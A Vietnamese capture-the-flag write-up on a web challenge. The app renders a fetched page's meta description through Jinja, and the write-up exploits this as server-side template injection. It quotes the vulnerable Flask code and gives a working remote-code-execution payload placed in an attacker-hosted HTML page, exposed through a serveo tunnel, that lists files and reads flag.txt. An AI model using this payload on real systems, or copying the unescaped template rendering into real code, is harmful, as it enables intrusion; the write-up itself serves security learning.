Với đề bài như này nó hint làm mình chú ý đó chính là template , đôi chút làm mình liên tưởng đến SSTI nhưng để khẳng định chính xác thì mình sẽ tải source code về và phân tích.
Sau khi đọc hiểu luồng hoạt động của code rồi thì cơ bản thì vẫn đăng ký và đăng nhập bình thường để vào chức năng chính đó là : khi nhập vào một URL của một trang web thì nó sẽ render ra cho ta lại nội dung như title , description, url của trang web.Mình có thử với webhook.site
Cùng với chức năng render của nó mình có chú ý đến một đoạn code làm mình khẳng định bài này lỗi là SSTI luôn đó là đoạn :
escaped_description = html.escape(description) # Escape HTML entities in description
escaped_description = Template(description).render()
escaped_url = html.escape(url)
escaped_title = html.escape(title)
try:
return render_template(
'fetch_info.html',
url_display=escaped_url,
title_display=escaped_title,
description_content=escaped_description,
username=current_user
)
except Exception as e:
error_message = f"Error rendering template: {str(e)}"
return f"<h1>Error</h1><p>{error_message}</p>", 500
return render_template('fetch_url_form.html', username=current_user)
Có thể chú ý ở đây là có thực hiện enscape description nhưng điều này vô nghĩa bởi vì nó encapse biến description nhưng bên dưới nó lại Template(description).render() . Ta chú ý đoạn nó Template(description).render() tức là nó thực hiện in ra theo template Jinja của Python. Và hơn nữa điều này còn thực hiện trong đoạn Try catch. Hiển thị nào là URL, title, description_content, username , vậy nếu thế nào khi description của ta được biểu diễn như sau:
<meta name="description" content="{{ 7*7 }}">
Hơn thế nữa ta còn có thể phát triển payload hơn nữa để đọc Flag . Tiến hành:
Đầu tiên ta dựng một Web có nội dung description như sau:
<!DOCTYPE html>
<html>
<head>
<title>SSTI Exploit</title>
<meta name="description" content="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}">
</head>
<body>
<h1>SSTI Payload Page</h1>
<p>This page contains the SSTI payload in the meta description tag.</p>
</body>
</html>
Chạy trên local bẳng lệnh : python3 -m http.server 8000
Sau đó ta thực public cái web của ta lên , ở đây mình dùng dịch vụ của serveo: + ssh -R 80:localhost:8000 serveo.net
Ok vậy thì chỉ cần đưa URL của trang web của chúng ta lên xem thử như nào:
Rồi xong chỉ việc đọc nữa thôi:
<meta name="description" content="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}">
</head>